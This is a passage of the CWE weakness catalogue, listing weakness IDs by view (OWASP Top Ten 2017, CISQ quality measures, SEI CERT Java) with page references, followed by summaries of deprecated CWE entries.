    - V CWE-546: Suspicious Comment (p.1116)
    - V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1118)
  - B CWE-1079: Parent Class without Virtual Destructor Method (p.1676)
  - B CWE-1082: Class Instance Self Destruction Control Element (p.1678)
  - B CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1683)
  - B CWE-1091: Use of Object without Invoking Destructor Method (p.1687)
  - B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1692)
  - V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1694)
  - B CWE-1108: Excessive Reliance on Global Variables (p.1702)
  - V CWE-586: Explicit Call to Finalize() (p.1172)
- B CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p.1688)
- C CWE-1093: Excessively Complex Data Representation (p.1689)
  - B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1641)
  - B CWE-1055: Multiple Inheritance from Concrete Classes (p.1653)
  - B CWE-1074: Class with Excessively Deep Inheritance (p.1671)
  - B CWE-1086: Class with Excessive Number of Child Classes (p.1682)
- V CWE-110: Struts: Validator Without Form Field (p.244)
- B CWE-1101: Reliance on Runtime Component in Generated Code (p.1696)

- B CWE-1104: Use of Unmaintained Third Party Components (p.1698)
- G CWE-1120: Excessive Code Complexity (p.1711)
  - B CWE-1047: Modules with Circular Dependencies (p.1645)
  - B CWE-1056: Invokable Control Element with Variadic Parameters (p.1654)
  - B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1658)
  - B CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1661)
  - B CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1672)
  - B CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1677)
  - B CWE-1095: Loop Condition Value Update within the Loop (p.1691)
  - B CWE-1119: Excessive Use of Unconditional Branching (p.1710)
  - B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1711)
  - B CWE-1122: Excessive Halstead Complexity (p.1712)
  - B CWE-1123: Excessive Use of Self-Modifying Code (p.1713)
  - B CWE-1124: Excessively Deep Nesting (p.1714)
  - B CWE-1125: Excessive Attack Surface (p.1715)
- B CWE-1126: Declaration of Variable with Unnecessarily Wide Scope (p.1716)
- B CWE-1127: Compilation with Insufficient Warnings or Errors (p.1716)
- G CWE-1164: Irrelevant Code (p.1717)
  - B CWE-1071: Empty Code Block (p.1668)
    - B CWE-1069: Empty Exception Block (p.1666)
    - B CWE-585: Empty Synchronized Block (p.1170)
  - B CWE-561: Dead Code (p.1131)
  - V CWE-563: Assignment to Variable without Use (p.1135)
- G CWE-1177: Use of Prohibited Code (p.1720)

## Graph View: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

-  CWE-20: Improper Input Validation (p. 19)
  -  CWE-129: Improper Validation of Array Index (p.312)
-  CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 130)
    -  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 140)
    -  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 151)
    -  CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p. 180)
    -  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 186)
    -  CWE-91: XML Injection (aka Blind XPath Injection) (p. 199)
    -  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.203)
  -  CWE-116: Improper Encoding or Escaping of Output (p.259)
    -  CWE-838: Inappropriate Encoding for Output Context (p. 1547)
  -  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
      -  CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.280)
      -  CWE-125: Out-of-bounds Read (p.301)
      -  CWE-787: Out-of-bounds Write (p. 1460)
      -  CWE-824: Access of Uninitialized Pointer (p. 1516)
    -  CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.465)
      -  CWE-203: Observable Discrepancy (p.477)
      -  CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
      -  CWE-532: Insertion of Sensitive Information into Log File (p. 1102)
    -  CWE-269: Improper Privilege Management (p.588)
    -  CWE-287: Improper Authentication (p.629)
        -  CWE-290: Authentication Bypass by Spoofing (p.638)
        -  CWE-294: Authentication Bypass by Capture-replay (p.645)
        -  CWE-295: Improper Certificate Validation (p.647)
        -  CWE-306: Missing Authentication for Critical Function (p.672)
        -  CWE-307: Improper Restriction of Excessive Authentication Attempts (p.677)
        -  CWE-521: Weak Password Requirements (p. 1087)
        -  CWE-522: Insufficiently Protected Credentials (p. 1089)
        -  CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 1250)
        -  CWE-798: Use of Hard-coded Credentials (p. 1483)
      -  CWE-311: Missing Encryption of Sensitive Data (p.685)
        -  CWE-312: Cleartext Storage of Sensitive Information (p.691)
        -  CWE-319: Cleartext Transmission of Sensitive Information (p.704)
      -  CWE-326: Inadequate Encryption Strength (p.717)
      -  CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.719)
          -  CWE-916: Use of Password Hash With Insufficient Computational Effort (p. 1590)
        -  CWE-330: Use of Insufficiently Random Values (p.729)
          -  CWE-331: Insufficient Entropy (p.735)
          -  CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.742)
          -  CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.747)
        -  CWE-345: Insufficient Verification of Data Authenticity (p.757)
          -  CWE-346: Origin Validation Error (p.759)
          -  CWE-347: Improper Verification of Cryptographic Signature (p.762)
          -  CWE-352: Cross-Site Request Forgery (CSRF) (p.772)
          -  CWE-354: Improper Validation of Integrity Check Value (p.780)
          -  CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p. 1601)
        -  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.791)

- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.810)
- G CWE-400: Uncontrolled Resource Consumption (p.862)

  - V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1396)
  - V CWE-780: Use of RSA Algorithm without OAEP (p.1444)
  - G CWE-922: Insecure Storage of Sensitive Information (p.1599)
- C CWE-1014: Identify Actors (p.1897)
  - B CWE-295: Improper Certificate Validation (p.647)
  - B CWE-296: Improper Following of a Certificate's Chain of Trust (p.652)
  - V CWE-297: Improper Validation of Certificate with Host Mismatch (p.654)
  - V CWE-298: Improper Validation of Certificate Expiration (p.658)
  - B CWE-299: Improper Check for Certificate Revocation (p.660)
  - G CWE-345: Insufficient Verification of Data Authenticity (p.757)
  - B CWE-346: Origin Validation Error (p.759)
  - V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.819)
  - G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.948)
  - V CWE-599: Missing Validation of OpenSSL Certificate (p.1189)
  - B CWE-940: Improper Verification of Source of a Communication Channel (p.1613)

- B CWE-941: Incorrectly Specified Destination in a Communication Channel (p.1615)
- C CWE-1015: Limit Access (p.1898)
- B CWE-201: Exposure of Sensitive Information Through Sent Data (p.473)
- B CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
- B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.500)
- V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.537)
- B CWE-250: Execution with Unnecessary Privileges (p.546)
- C CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1210)
- B CWE-611: Improper Restriction of XML External Entity Reference (p.1212)
- B CWE-73: External Control of File Name or Path (p.125)
- C CWE-1016: Limit Exposure (p.1899)
- B CWE-210: Self-generated Error Message Containing Sensitive Information (p.496)
- B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.497)
- B CWE-214: Invocation of Process Using Visible Sensitive Information (p.504)
- V CWE-550: Server-generated Error Message Containing Sensitive Information (p.1121)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1528)
- V CWE-830: Inclusion of Web Functionality from an Untrusted Source (p.1534)
- C CWE-1017: Lock Computer (p.1899)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p.1264)
- C CWE-1018: Manage User Sessions (p.1900)
- B CWE-384: Session Fixation (p.837)
- B CWE-488: Exposure of Data Element to Wrong Session (p.1038)
- V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1162)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
- B CWE-613: Insufficient Session Expiration (p.1216)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p.1555)
- C CWE-1019: Validate Inputs (p.1900)
- C CWE-138: Improper Neutralization of Special Elements (p.341)
- V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.362)
- C CWE-20: Improper Input Validation (p.19)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.766)
- B CWE-352: Cross-Site Request Forgery (CSRF) (p.772)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p.999)
- V CWE-473: PHP External Variable Modification (p.1003)
- B CWE-502: Deserialization of Untrusted Data (p.1070)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.105)
- B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1192)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1253)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1260)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1275)
- C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.130)
- C CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.133)
- B CWE-76: Improper Neutralization of Equivalent Special Elements (p.134)
- C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.135)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.151)
- C CWE-790: Improper Filtering of Special Elements (p.1473)
- B CWE-791: Incomplete Filtering of Special Elements (p.1474)
- V CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p.1475)
- V CWE-793: Only Filtering One Instance of a Special Element (p.1477)
- V CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p.1478)

- B CWE-795: Only Filtering Special Elements at a Specified Location (p.1479)
- V CWE-796: Only Filtering Special Elements Relative to a Marker (p.1480)
- V CWE-797: Only Filtering Special Elements at an Absolute Position (p.1482)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.180)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.186)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.197)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.199)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.201)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.203)
- G CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p.1620)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.209)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.213)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.216)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.217)
- G CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.224)
- C CWE-1020: Verify Message Integrity (p.1902)
- B CWE-353: Missing Support for Integrity Check (p.778)
- B CWE-354: Improper Validation of Integrity Check Value (p.780)
- B CWE-390: Detection of Error Condition Without Action (p.844)
- B CWE-391: Unchecked Error Condition (p.848)
- B CWE-494: Download of Code Without Integrity Check (p.1053)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1138)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1270)
- |P| CWE-707: Improper Neutralization (p.1358)
- G CWE-755: Improper Handling of Exceptional Conditions (p.1386)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1601)

## Graph View: CWE-1026: Weaknesses in OWASP Top Ten (2017)

- C** CWE-1027: OWASP Top Ten 2017 Category A1 - Injection (*p. 1903*)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (*p. 135*)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (*p. 140*)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (*p. 180*)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (*p. 186*)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (*p. 197*)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (*p. 199*)
  - V** CWE-564: SQL Injection: Hibernate (*p. 1137*)
  - B** CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (*p. 1594*)
  - G** CWE-943: Improper Neutralization of Special Elements in Data Query Logic (*p. 1620*)
- C** CWE-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication (*p. 1904*)
  - G** CWE-287: Improper Authentication (*p. 629*)
  - B** CWE-256: Unprotected Storage of Credentials (*p. 561*)
  - B** CWE-308: Use of Single-factor Authentication (*p. 680*)
  - A** CWE-384: Session Fixation (*p. 837*)
  - G** CWE-522: Insufficiently Protected Credentials (*p. 1089*)
  - B** CWE-523: Unprotected Transport of Credentials (*p. 1093*)
  - B** CWE-613: Insufficient Session Expiration (*p. 1216*)
  - B** CWE-620: Unverified Password Change (*p. 1226*)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (*p. 1250*)
- C** CWE-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure (*p. 1904*)
  - V** CWE-220: Storage of File With Sensitive Data Under FTP Root (*p. 510*)
  - B** CWE-295: Improper Certificate Validation (*p. 647*)
  - G** CWE-311: Missing Encryption of Sensitive Data (*p. 685*)
  - B** CWE-312: Cleartext Storage of Sensitive Information (*p. 691*)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (*p. 704*)
  - C** CWE-320: Key Management Errors (*p. 1787*)
  - B** CWE-325: Missing Required Cryptographic Step (*p. 715*)
  - G** CWE-326: Inadequate Encryption Strength (*p. 717*)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (*p. 719*)
  - B** CWE-328: Reversible One-Way Hash (*p. 724*)
  - B** CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (*p. 786*)
- C** CWE-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE) (*p. 1905*)
  - B** CWE-611: Improper Restriction of XML External Entity Reference (*p. 1212*)
  - B** CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (*p. 1436*)
- C** CWE-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control (*p. 1905*)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (*p. 31*)
  - P** CWE-284: Improper Access Control (*p. 618*)
  - G** CWE-285: Improper Authorization (*p. 621*)
  - B** CWE-425: Direct Request ('Forced Browsing') (*p. 913*)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (*p. 1248*)
- C** CWE-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration (*p. 1905*)
  - C** CWE-16: Configuration (*p. 1777*)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (*p. 489*)
  - V** CWE-548: Exposure of Information Through Directory Listing (*p. 1119*)
- C** CWE-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS) (*p. 1906*)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (*p. 151*)

- C** CWE-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization (p.1906)
  - B** CWE-502: Deserialization of Untrusted Data (p.1070)
- C** CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities (p.1907)
- C** CWE-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring (p.1907)
  - B** CWE-223: Omission of Security-relevant Information (p.513)
  - B** CWE-778: Insufficient Logging (p.1440)

## Graph View: CWE-1128: CISQ Quality Measures (2016)

- C** CWE-1129: CISQ Quality Measures - Reliability (p.1907)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.280)
  - B** CWE-252: Unchecked Return Value (p.552)
  - B** CWE-396: Declaration of Catch for Generic Exception (p.858)
  - B** CWE-397: Declaration of Throws for Generic Exception (p.860)
  - V** CWE-456: Missing Initialization of a Variable (p.970)
  - C** CWE-674: Uncontrolled Recursion (p.1311)
  - C** CWE-704: Incorrect Type Conversion or Cast (p.1354)
  - B** CWE-772: Missing Release of Resource after Effective Lifetime (p.1428)
  - B** CWE-788: Access of Memory Location After End of Buffer (p.1466)
  - V** CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1643)
  - B** CWE-1047: Modules with Circular Dependencies (p.1645)
  - B** CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1649)
  - B** CWE-1056: Invokable Control Element with Variadic Parameters (p.1654)
  - B** CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1656)
  - B** CWE-1062: Parent Class with References to Child Class (p.1659)
  - B** CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p.1662)
  - B** CWE-1066: Missing Serialization Control Element (p.1663)
  - B** CWE-1069: Empty Exception Block (p.1666)
  - B** CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1667)

  - B** CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1683)
  - B** CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1684)
  - B** CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1692)
  - V** CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1692)
  - V** CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1694)
- C** CWE-1130: CISQ Quality Measures - Maintainability (p.1909)
  - B** CWE-561: Dead Code (p.1131)
  - B** CWE-1041: Use of Redundant Code (p.1639)
  - B** CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p.1642)
  - B** CWE-1047: Modules with Circular Dependencies (p.1645)
  - B** CWE-1048: Invokable Control Element with Large Number of Outward Calls (p.1646)
  - B** CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1650)
  - B** CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1652)
  - B** CWE-1055: Multiple Inheritance from Concrete Classes (p.1653)
  - B** CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1661)
  - B** CWE-1074: Class with Excessively Deep Inheritance (p.1671)
  - B** CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1672)
  - B** CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1677)
  - V** CWE-766: Critical Data Element Declared Public (p.1412)
  - B** CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p.1680)
  - B** CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1681)
  - B** CWE-1086: Class with Excessive Number of Child Classes (p.1682)
  - B** CWE-1090: Method Containing Access of a Member Element from Another Class (p.1686)
  - B** CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p.1688)

- B CWE-1095: Loop Condition Value Update within the Loop (p.1691)
- B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1711)
- C CWE-1131: CISQ Quality Measures - Security (p.1909)
  - B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.151)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.186)
  - C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.224)
  - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.280)
  - B CWE-129: Improper Validation of Array Index (p.312)
  - B CWE-134: Use of Externally-Controlled Format String (p.334)
  - B CWE-252: Unchecked Return Value (p.552)
  - C CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.719)
  - B CWE-396: Declaration of Catch for Generic Exception (p.858)
  - B CWE-397: Declaration of Throws for Generic Exception (p.860)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p.934)
  - V CWE-456: Missing Initialization of a Variable (p.970)
  - B CWE-606: Unchecked Input for Loop Condition (p.1204)
  - C CWE-667: Improper Locking (p.1296)
  - C CWE-672: Operation on a Resource after Expiration or Release (p.1307)
  - B CWE-681: Incorrect Conversion between Numeric Types (p.1319)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1428)
  - V CWE-789: Uncontrolled Memory Allocation (p.1470)
  - B CWE-798: Use of Hard-coded Credentials (p.1483)
  - B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1542)
- C CWE-1132: CISQ Quality Measures - Performance (p.1910)
  - V CWE-1042: Static Member Data Element outside of a Singleton Class Element (p.1640)
  - B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1641)
  - B CWE-1046: Creation of Immutable Text Using String Concatenation (p.1644)
  - B CWE-1049: Excessive Data Query Operations in a Large Data Table (p.1647)
  - B CWE-1050: Excessive Platform Resource Consumption within a Loop (p.1648)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1655)
  - B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1658)
  - B CWE-1063: Creation of Class Instance within a Static Code Block (p.1660)
  - B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p.1664)
  - B CWE-1072: Data Resource Access without Use of Connection Pooling (p.1669)
  - B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p.1670)
  - B CWE-1089: Large Data Table with Excessive Number of Indices (p.1685)
  - B CWE-1091: Use of Object without Invoking Destructor Method (p.1687)
  - B CWE-1094: Excessive Index Range Scan for a Data Resource (p.1690)

## Graph View: CWE-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

- C CWE-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS) (p.1911)

-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.186)
-  CWE-416: Use After Free (p.902)
-  CWE-190: Integer Overflow or Wraparound (p.436)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.772)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
-  CWE-787: Out-of-bounds Write (p.1460)
-  CWE-287: Improper Authentication (p.629)
-  CWE-476: NULL Pointer Dereference (p.1007)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1363)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.934)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1212)
-  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.203)
-  CWE-798: Use of Hard-coded Credentials (p.1483)
-  CWE-400: Uncontrolled Resource Consumption (p.862)
-  CWE-772: Missing Release of Resource after Effective Lifetime (p.1428)
-  CWE-426: Untrusted Search Path (p.916)
-  CWE-502: Deserialization of Untrusted Data (p.1070)
-  CWE-269: Improper Privilege Management (p.588)
-  CWE-295: Improper Certificate Validation (p.647)

## Deprecated

---

### CWE-1: DEPRECATED: Location

CWE ID : 1

Status: Deprecated

#### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### CWE-3: DEPRECATED: Technology-specific Environment Issues

CWE ID : 3

Status: Deprecated

#### Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

---

### CWE-4: DEPRECATED: J2EE Environment Issues

CWE ID : 4

Status: Deprecated

#### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

### CWE-10: DEPRECATED: ASP.NET Environment Issues

CWE ID : 10

Status: Deprecated

#### Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

---

### CWE-17: DEPRECATED: Code

CWE ID : 17

Status: Deprecated

#### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

---

## CWE-18: DEPRECATED: Source Code

CWE ID : 18

Status: Deprecated

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-21: DEPRECATED: Pathname Traversal and Equivalence Errors

CWE ID : 21

Status: Deprecated

### Summary

This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).

---

## CWE-60: DEPRECATED: UNIX Path Link Problems

CWE ID : 60

Status: Deprecated

### Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

---

## CWE-63: DEPRECATED: Windows Path Link Problems

CWE ID : 63

Status: Deprecated

### Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

---

## CWE-68: DEPRECATED: Windows Virtual File Problems

CWE ID : 68

Status: Deprecated

### Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

---

## CWE-70: DEPRECATED: Mac Virtual File Problems

CWE ID : 70

Status: Deprecated

### Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

---

## CWE-71: DEPRECATED: Apple '.DS\_Store'

CWE ID : 71

Status: Deprecated

### Description

This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.

---

## CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

CWE ID : 92

Status: Deprecated

### Description

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

---

## CWE-100: DEPRECATED: Technology-Specific Input Validation Problems

CWE ID : 100

Status: Deprecated

### Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

---

## CWE-101: DEPRECATED: Struts Validation Problems

CWE ID : 101

Status: Deprecated

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

---

## CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

CWE ID : 132

Status: Deprecated

## Description

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

## CWE-139: DEPRECATED: General Special Element Problems

CWE ID : 139

Status: Deprecated

### Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

## CWE-169: DEPRECATED: Technology-Specific Special Elements

CWE ID : 169

Status: Deprecated

### Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

## CWE-171: DEPRECATED: Cleansing, Canonicalization, and Comparison Errors

CWE ID : 171

Status: Deprecated

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.

## CWE-216: DEPRECATED: Containment Errors (Container Errors)

CWE ID : 216

Status: Deprecated

### Description

This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.

## CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

CWE ID : 217

Status: Deprecated

### Description

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

---

## **CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data**

**CWE ID :** 218 **Status:** Deprecated

---

### Description

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

---

## **CWE-225: DEPRECATED (Duplicate): General Information Management Problems**

**CWE ID :** 225 **Status:** Deprecated

---

### Description

This weakness can be found at CWE-199.

---

## **CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision**

**CWE ID :** 247 **Status:** Deprecated

---

### Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

---

## **CWE-249: DEPRECATED: Often Misused: Path Manipulation**

**CWE ID :** 249 **Status:** Deprecated

---

### Description

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

---

## **CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name**

**CWE ID :** 292 **Status:** Deprecated

---

### Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

---

---

